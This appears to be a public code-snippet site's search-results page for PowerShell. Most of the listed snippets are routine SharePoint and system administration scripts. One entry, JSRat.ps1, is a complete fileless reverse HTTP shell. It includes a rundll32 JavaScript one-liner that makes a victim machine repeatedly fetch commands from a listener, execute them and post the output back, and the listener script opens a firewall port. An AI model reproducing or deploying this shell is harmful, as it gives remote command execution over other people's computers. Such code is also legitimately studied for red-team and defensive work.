working on it ...

Filters

Explore Public Snippets

Sort by

Found 9,315 snippets matching: powershell

    public by skaggej  336496  3  6  0

    SharePoint 2010 - Disable the "New" icon for newly added content

    This is another easy and useful one; I find it helpful when I'm recording content and adding it as I'm going. I don't really want the word "New" next to some things and not next to others. The finalized recordings look better if that's never there. Here's the simple PowerShell script that you can run per web application to disable the "New" icon
    $webApp = Get-SPWebApplication http://sharepoint2010
    $webApp.DaysToShowNewIndicator = "0"
    $webApp.Update()

    public by skaggej  237899  1  6  0

    SharePoint 2010 - Bulk Upload Solution Packages

    When migrating a SharePoint environment from 2007 to 2010, don't forget about your solution packages! You can extract them from the SharePoint 2007 Solution Store, then use this script to upload them all to SharePoint 2010 in seconds!
    $solutions = Get-ChildItem -Path "C:\downloads\Exported Solution Packages"
    $solutions | ForEach-Object {add-spsolution -literalpath "C:\Exported Solution Packages\$_"}

    public by skaggej  230822  1  6  0

    SharePoint 2010 - View Resource Measures for Sandboxed Solutions

    Ever wonder exactly what "300 points" means for you sandboxed solutions' resource quota in SharePoint 2010? Run the following PowerShell script in the SharePoint 2010 Management Shell and you'll be able to see it for yourself.
    $resourceMeasures = [Microsoft.SharePoint.Administration.SPUserCodeService]::Local.ResourceMeasures
    $resourceMeasures | Select Name, ResourcesPerPoint
    

    public by skaggej  219437  2  6  0

    SharePoint 2010 - List All SharePoint PowerShell Cmdlets

    This is a quick and easy way to view and save all of the PowerShell cmdlets that are available for SharePoint. It's quite useful to have this list of commands handy. Once you know which command you want to run, then it's time to learn how to use it with Get-Help.
    Get-Command -Module Microsoft.SharePoint.PowerShell | Select Name >> C:\AllSharePointPowerShellCmdlets.txt
    

    public by David Grayson  197561  1  3  0

    PowerShell script for setting up MSYS2, might not totally work yet

    PowerShell script for setting up MSYS2, might not totally work yet: msys2-prepare.ps1
    Add-Type -Assembly System.IO.Compression.FileSystem
    $webclient = New-Object System.Net.WebClient
    
    function Acquire($file, $url, $checksum)
    {
      if (!(Test-Path $file))
      {
        "Downloading $url ..."
        $webclient.DownloadFile($url, $file)
      }
      else
      {
        "Using existing $file."
      }
      ls
      $actual_checksum = (Get-FileHash $file)[0].Hash.ToLower()
      if (!($checksum -eq $actual_checksum))
      {
        throw "Error: Checksum for $file is $actual_checksum expected $checksum"
      }
    }
    
    $ver = "20150916"
    $msys2_archive = "msys2-base-x86_64-$ver.tar.xz"
    Acquire -File $msys2_archive `
      -Url "http://repo.msys2.org/distrib/x86_64/$msys2_archive" `
      -Checksum "1eac63be7bfff979846dfda0aef6e2b572bc526450586de6364b08aaf642b843"
    
    Acquire -File "tar_utils.zip" `
      -Url "http://www.davidegrayson.com/hold/tar_utils.zip" `
      -Checksum "ffe82e94813e12c3a911696adbdd34d6307c01d1b9c756e6ce1c0aebb7477199"
    
    "Extracting tar_utils.zip"
    [System.IO.Compression.ZipFile]::ExtractToDirectory("tar_utils.zip", ".")
    
    "Extracting MSYS2"
    bsdtar -xf $msys2_archive
    
    "Initializing MSYS2"
    cd msys64
    $env:MSYSTEM = MSYS
    usr\bin\bash -l -c "true"
    usr\bin\bash -l -c "pacman -S mingw-w64-x86_64-gcc autoconf flex make libtool"
    
    
    

    public by Charles Peter Nystrom  202234  3  3  0

    Replace string in all files within the current directory. - PowerShell

    Replace string in all files within the current directory. - PowerShell: gistfile1.txt
    $stringToReplace = "foo"
    $replaceWith = "bar"
    Get-ChildItem | ForEach-Object{ $pathToFile = $_.FullName; (get-content $pathToFile) | % { $_ -replace $stringToReplace, $replaceWith } | set-content $pathToFile }
    
    

    public by fukusuke1026  129805  1  3  0

    Powershell: サービスの一括削除

    Powershell: サービスの一括削除: gistfile1.ps1
    $services = Get-WmiObject win32_service | Where-Object {$_.Name -match "LogGate*"}
    
    foreach ($service in $services)
    {
        $service.delete()
    }
    
    

    public by Casey Smith  102549  21  3  0

    Fileless JavaScript Reverse HTTP Shell

    Fileless JavaScript Reverse HTTP Shell: JSRat.ps1
    <#
        
      Author: Casey Smith @subTee
    
      License: BSD3-Clause
    	
      .SYNOPSIS
      
      Simple Reverse Shell over HTTP. Execute Commands on Client.  
      
      rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1/connect",false);h.Send();B=h.ResponseText;eval(B)
      
      Listening Server IP Address
      
    #>
    
    $Server = '127.0.0.1' #Listening IP. Change This.
    
    function Receive-Request {
       param(      
          $Request
       )
       $output = ""
       $size = $Request.ContentLength64 + 1   
       $buffer = New-Object byte[] $size
       do {
          $count = $Request.InputStream.Read($buffer, 0, $size)
          $output += $Request.ContentEncoding.GetString($buffer, 0, $count)
       } until($count -lt $size)
       $Request.InputStream.Close()
       write-host $output
    }
    
    $listener = New-Object System.Net.HttpListener
    $listener.Prefixes.Add('http://+:80/') 
    
    netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null
    netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
    
    $listener.Start()
    'Listening ...'
    while ($true) {
        $context = $listener.GetContext() # blocks until request is received
        $request = $context.Request
        $response = $context.Response
    	$hostip = $request.RemoteEndPoint
    	#Use this for One-Liner Start
    	if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {  
         write-host "Host Connected" -fore Cyan
            $message = '
    					while(true)
    					{
    						h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    						h.Open("GET","http://'+$Server+'/rat",false);
    						h.Send();
    						c = h.ResponseText;
    						r = new ActiveXObject("WScript.Shell").Exec(c);
    						var so;
    						while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
    						p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    						p.Open("POST","http://'+$Server+'/rat",false);
    						p.Send(so);
    					}
    					
    		'
    
        }		 
    	
    	if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { 
    		Receive-Request($request)	
    	}
        if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {  
            $response.ContentType = 'text/plain'
            $message = Read-Host "JS $hostip>"		
        }
        
    
        [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
        $response.ContentLength64 = $buffer.length
        $output = $response.OutputStream
        $output.Write($buffer, 0, $buffer.length)
        $output.Close()
    }
    
    $listener.Stop()
    
    
    

    public by virgilwashere  3794  6  6  0

    Powershell advanced function syntax

    Powershell advanced function syntax with most parameters added
    <# Insert Comment-based Help template snippet here 
    #>
    function Verb-Noun
    {
        [CmdletBinding(DefaultParameterSetName='Parameter Set 1', 
                      SupportsShouldProcess=$true, 
                      PositionalBinding=$false,
                      HelpUri = 'http://www.microsoft.com/',
                      ConfirmImpact='Medium')]
        [OutputType([String])]
        Param
        (
            # Param1 help description
            [Parameter(Mandatory=$true, 
                       ValueFromPipeline=$true,
                       ValueFromPipelineByPropertyName=$true, 
                       ValueFromRemainingArguments=$false, 
                       Position=0,
                       ParameterSetName='Parameter Set 1')]
            [HelpMessage('help description')]
    		[ValidateNotNull()]
            [ValidateNotNullOrEmpty()]
            [ValidateCount(0,5)]
            [ValidateSet("sun", "moon", "earth")]
            [Alias("p1")] 
            $Param1,
    
            # Param2 help description
            [Parameter(ParameterSetName='Parameter Set 1')]
            [AllowNull()]
            [AllowEmptyCollection()]
            [AllowEmptyString()]
            [ValidateScript({$true})]
            [ValidateRange(0,5)]
            [int]
            $Param2,
    
            # Param3 help description
            [Parameter(ParameterSetName='Another Parameter Set')]
            [ValidatePattern("[a-z]*")]
            [ValidateLength(0,15)]
            [String]
            $Param3
        )
    
        Begin {
        }
    	
        Process {
            if ($pscmdlet.ShouldProcess("Target", "Operation"))
            {
            }
        }
        
    	End {
        }
    }
    

    public by javalonson  2615  2  4  0

    Search text in files for PowerShell

    Search text in files for PowerShell. Change directory, ext, text_to_search and outputfile as you choice.
    dir directory *.ext -R | Select-String text_to_search | Out-File "outputfile.txt"
    
    • Public Snippets
    • Channels Snippets